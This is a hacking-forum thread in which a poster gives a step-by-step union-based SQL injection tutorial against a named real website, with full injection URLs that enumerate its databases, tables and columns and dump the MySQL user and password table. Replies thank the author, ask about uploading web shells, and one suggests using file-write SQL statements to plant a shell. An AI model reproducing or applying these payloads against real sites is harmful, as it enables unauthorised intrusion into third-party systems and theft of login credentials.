

Forum:[Hack Forums](#)

Thread: [\[Tutorial\] Getting Data From Multiple Databases \[SQLi\]](#)

-DownFall - October 31, 2011, 11:16 pm

So I've been seeing alot of sites with multiple databases, and since I haven't seen a tutorial on this, I figured it would help out some beginners.

I'll be using this link as an example.

[http://www.hubbardbrook.org/people/view.php?id=109'](http://www.hubbardbrook.org/people/view.php?id=109)

Once you got your columns count, and vulnerable columns, you want to get the names of the databases.

You can do that by using:

Code `group_concat(schema_name)&`

Code from `information_schema.schemata`

So my link looks like this:

Code

`http://www.hubbardbrook.org/people/view.php?id=-109+union+select+1,2,3,group_concat(schema_name),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25+from+information_schema.schemata--`

Now I see that there are 2 different databases, one called "hbr" and one called "mysql". Now we want to see which one is the default, or current one. First write those down in notepad or something.

To find out, you pick your column, and use:

Code `database()` So now my link looks like this:

Code

`http://www.hubbardbrook.org/people/view.php?id=-109+union+select+1,2,3,group_concat(database()),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25--`

Now where column 4 was (my vulnerable column), we can see "hbr". So we know that's the current database. Now of course, you'd want to search through it to find your tables to see if you can find some login info. You would get the tables the normal way:

Code

`http://www.hubbardbrook.org/people/view.php?id=-109+union+select+1,2,3,group_concat(table_name),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25+from+information_schema.tables+where+table_schema=database()--`

There's over 100 tables, but I didn't see anything that resembled user info, so now we check the other database. It's almost the same thing as finding the default tables. My other database name was called "mysql".

To get the tables of that, we convert it to hex, and use:

Code `where+table_schema=0xdatabasehexhere` So the hex of "mysql" is 6d7973716c

Make sure you always add 0x in front of your hex.

Now my link looks like this:

Code

`http://www.hubbardbrook.org/people/view.php?id=-109+union+select+1,2,3,group_concat(table_name),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25+from+information_schema.tables+where+table_schema=0x6d7973716c--`

Now we got the tables from the second database, and we can see that theres a table named user!

Now we get the info from the users table, but make sure you keep the table_schema for that

database. So now my link looks like this:

Code

```
http://www.hubbardbrook.org/people/view.php?id=-109+union+select+1,2,3,group_concat(column_name),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572--
```

0x75736572 is the hex of "user". So basically what I did was converted my table name to hex, and got the columns from the database.

Now we want the data from the columns. It's still almost the same, except for the very last bit.

There are 2 columns named "User" and "Password", which is what we want.

So make your group_concat function, but at the end, the syntax would be:

Code +from+databasename.tablenameSo now my link looks like this:

Code

```
http://www.hubbardbrook.org/people/view.php?id=-109+union+select+1,2,3,group_concat(User,0x3a>Password,0x0a),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25+from+mysql.user--
```

And as you can see, there are now logins where your column name was.

Hope you guys understood, happy hacking!

?

HidingInSpace - October 31, 2011, 11:26 pm

excellent tut bro people will be bookmarking this page

SIM-974023 - October 31, 2011, 11:28 pm

Nice, Bro.

Very detailed, And overall good post!

noober1001 - November 1, 2011, 12:02 am

Great tut bro.

Thank you so much for sharing.

-DownFall - November 1, 2011, 1:15 am

(Nov 1, 2011 12:02 AM)noober1001 Wrote: [\[CITE\]](#) Great tut bro.

Thank you so much for sharing.

No problem, hope you learned something.

?

Pirate - November 1, 2011, 8:07 am

Good share mate. :) Thanks for sharing!

Dyme - November 1, 2011, 9:39 am

Very intelligent man, and wonderful tutorial.

Keep up the good work my friend.

VipVince - November 1, 2011, 9:57 am

Really good tutorial OP. Well explained!

jaguar kid - November 1, 2011, 10:30 am

is it me or is there site having problems?

<http://prntscr.com/3sln2>

how ironic

-DownFall - November 1, 2011, 10:41 am

(Nov 1, 2011 10:30 AM)jaguar kid Wrote: [\[CITE\]](#) is it me or is there site having problems?
<http://prntscr.com/3sln2>

how ironic

Looks like that site is already fucked up o.o

Thanks for the feedback everyone.

waqas.nice - November 1, 2011, 11:22 am

thanx for a nice and very informative tutorial :)

-DownFall - November 1, 2011, 4:33 pm

(Nov 1, 2011 11:22 AM)waqas.nice Wrote: [\[CITE\]](#) thanx for a nice and very informative tutorial :)
No problem, have fun searching them dbs.

__MizerY__ - November 4, 2011, 4:09 pm

Thanks, this is very well explained.

-DownFall - November 16, 2011, 2:28 am

(Nov 4, 2011 04:09 PM)__MizerY__ Wrote: [\[CITE\]](#) Thanks, this is very well explained.
I'm glad you liked it, hope you put it to use. ?

cypherAn - December 29, 2011, 2:05 pm

it's good but it's not finish what is your method for shelling ? can u explain .

-DownFall - December 29, 2011, 2:11 pm

(Dec 29, 2011 03:05 PM)cypherAn Wrote: [\[CITE\]](#) it's good but it's not finish what is your method for shelling ? can u explain .

This tutorial is only for checking multiple databases. Check this thread out here, it's a small video I made on basic shell uploading.

[\[Tut\] Basic Shell Uploading \[Video\]](#)

benzenehexane - May 10, 2013, 9:22 am

great tutoroal. I will use this. thanks in well advance.

Silvertwist - May 22, 2013, 5:05 am

I could kiss you mate! This has helped me alot!!!!

Neocotez - May 24, 2013, 2:39 am

(Nov 1, 2011 04:33 PM)-DownFall Wrote: [\[CITE\]](#) No problem, have fun searching them dbs.
One of the best tutorials on SQLi, i'm a noob though and many newbies on SQLi are gonna love it.

Salute Downfall?

BeggFoMercy - July 12, 2013, 4:36 am

Code

[http://www.hubbardbrook.org/people/view.php?id=-109+union+select+1,2,3,group_concat\(User,0x3a,Password,0x0a\),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25+from+mysql.user--](http://www.hubbardbrook.org/people/view.php?id=-109+union+select+1,2,3,group_concat(User,0x3a,Password,0x0a),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25+from+mysql.user--)

This doesnt work most of the times as i can remember from the top of my head , because you arenot a privileged user to access the mysql db , And if it happens to success you can use IN/OUT file sql statement to upload a shell useing ur queries ! ?

Good to see you in the scene bro !

Djengo - *July 26, 2013, 9:15 am*

awesome tutorial.

Thank you very much

w3areanonymous - *November 3, 2013, 5:32 am*

Cool tutorial , keep it up :3 never seen my tutorials like this. So this really helpful

Ch1m4zz - *November 6, 2013, 10:19 pm*

Thanks for this nice tutorial IT was awesome

133720 - *November 9, 2013, 12:25 am*

Great Tut.

Thanks for sharing your brain.

?Bruno - *November 10, 2013, 10:22 am*

This is really Nice tutorial and best method to hack the site.

darkfire - *November 18, 2013, 10:04 pm*

tnx a lot for this lovely tut..i'v been looking for this from a long time about how to list out all the databases..tnx a lott

Wolfz - *November 18, 2013, 11:34 pm*

Thanks for sharing this, i will try to do it.

TheCasanova - *December 2, 2013, 6:02 am*

it was awesome tutorial bro.. i learned thix from one ov my teacher Maddy.. but thix ix also awesome.. love you

Avinash Thapa - *April 28, 2014, 9:40 am*

welll great tutorial going to book mark this for futher study

going to bookmark this for my further study.....:P

Chilluminati - *April 28, 2014, 10:01 am*

amazing and well explained tutorial.

-Chilluminati